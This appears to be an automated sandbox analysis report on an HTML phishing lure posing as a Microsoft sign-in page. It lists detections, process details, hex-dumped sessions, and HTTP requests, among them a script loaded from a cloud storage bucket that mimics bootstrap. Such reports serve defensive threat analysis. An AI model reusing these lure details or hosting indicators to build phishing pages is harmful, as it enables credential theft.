2024-10-01 10:22:35 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 71 6a 30 30 50 48 61 6e 6b 43 75 37 65 77 33 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 62 37 63 64 65 66 31 36 34 37 39 38 33 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: gqj00PHankCu7ew3.3Context: e8b7cdef16479830<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-01 10:22:35 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-01 10:22:35 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 52 45 35 70 59 73 72 63 6b 79 4d 45 6d 41 71 54 44 62 69 47 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +RE5pYsrckyMEmAqTDbiGg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	61053	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:23:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 32 4f 75 46 37 73 45 75 6b 61 68 2f 55 53 59 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 63 66 36 65 34 34 39 37 35 39 63 62 30 34 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: L2OuF7sEukah/USY.1Context: acf6e449759cb040
2024-10-01 10:23:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-01 10:23:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 32 4f 75 46 37 73 45 75 6b 61 68 2f 55 53 59 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 63 66 36 65 34 34 39 37 35 39 63 62 30 34 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 54 6e 52 55 58 43 64 33 71 65 79 52 46 31 6e 45 33 76 2b 6b 4c 56 59 46 55 53 62 48 68 69 74 69 50 63 45 2f 78 65 79 37 32 68 58 4b 2f 38 38 61 70 4b 56 56 64 70 57 73 41 6f 69 6f 36 63 4e 76 54 33 37 7a 47 35 53 5a 41 52 44 6c 37 37 71 2b 43 57 79 6c 32 50 4d 31 4e 50 6c 30 72 67 78 6a 5a 75 66 39 4c 64 43 66 59 64 6e 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: L2OuF7sEukah/USY.2Context: acf6e449759cb040<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATTnRUXCd3qeyRF1nE3v+kLVYFUSbHhitiPcE/xey72hXK/88apKVVdpWsAoio6cNvT37zG5SZARDl77q+CWyl2PM1NPl0rgxjZuf9LdCfYdn8
2024-10-01 10:23:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 32 4f 75 46 37 73 45 75 6b 61 68 2f 55 53 59 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 63 66 36 65 34 34 39 37 35 39 63 62 30 34 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: L2OuF7sEukah/USY.3Context: acf6e449759cb040<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-01 10:23:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-01 10:23:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 31 35 72 75 45 2b 43 45 45 57 76 68 6c 74 2b 75 59 6f 2b 73 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: g15ruE+CEEWvhlt+uYo+sg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	61054	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:24:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 53 4c 72 54 68 62 71 70 67 6b 57 41 63 73 34 56 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 32 31 37 61 66 62 31 38 31 32 32 37 30 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: SLrThbqpgkWAcs4V.1Context: c8217afb1812270f
2024-10-01 10:24:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-01 10:24:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 53 4c 72 54 68 62 71 70 67 6b 57 41 63 73 34 56 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 32 31 37 61 66 62 31 38 31 32 32 37 30 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 54 6e 52 55 58 43 64 33 71 65 79 52 46 31 6e 45 33 76 2b 6b 4c 56 59 46 55 53 62 48 68 69 74 69 50 63 45 2f 78 65 79 37 32 68 58 4b 2f 38 38 61 70 4b 56 56 64 70 57 73 41 6f 69 6f 36 63 4e 76 54 33 37 7a 47 35 53 5a 41 52 44 6c 37 37 71 2b 43 57 79 6c 32 50 4d 31 4e 50 6c 30 72 67 78 6a 5a 75 66 39 4c 64 43 66 59 64 6e 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: SLrThbqpgkWAcs4V.2Context: c8217afb1812270f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATTnRUXCd3qeyRF1nE3v+kLVYFUSbHhitiPcE/xey72hXK/88apKVVdpWsAoio6cNvT37zG5SZARDl77q+CWyl2PM1NPl0rgxjZuf9LdCfYdn8
2024-10-01 10:24:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 53 4c 72 54 68 62 71 70 67 6b 57 41 63 73 34 56 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 32 31 37 61 66 62 31 38 31 32 32 37 30 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: SLrThbqpgkWAcs4V.3Context: c8217afb1812270f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-01 10:24:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-01 10:24:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 77 4a 4c 66 52 69 73 7a 30 65 2f 36 76 4b 4e 38 76 45 45 48 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8wJLfRisz0e/6vKN8vEEHA.0Payload parsing failed.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 356, Parent PID: 6052

General

Target ID:	0
Start time:	06:20:56
Start date:	01/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Swift_ach Complaints.sppgCQDM.html"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4952, Parent PID: 356

General

Target ID:	2
Start time:	06:21:00
Start date:	01/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1944,i,14075110715521736204,1099939863701450736,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 0.1.pages.csv
Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html#	LLM: Score: 10 Reasons: HTML file with login form DOM: 7.2.pages.csv

Source: Yara match	File source: 7.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html	Tab title: Sign in to your account
Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html#	Tab title: Sign in to your account

Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html	Matcher: Template: microsoft matched
Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html#	Matcher: Template: microsoft matched

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 13.107.246.44 13.107.246.44

Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html	HTTP Parser: No favicon

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.165.89
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253

Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 6146851516-1323985617.cos.na-ashburn.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 6146851516-1323985617.cos.na-ashburn.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
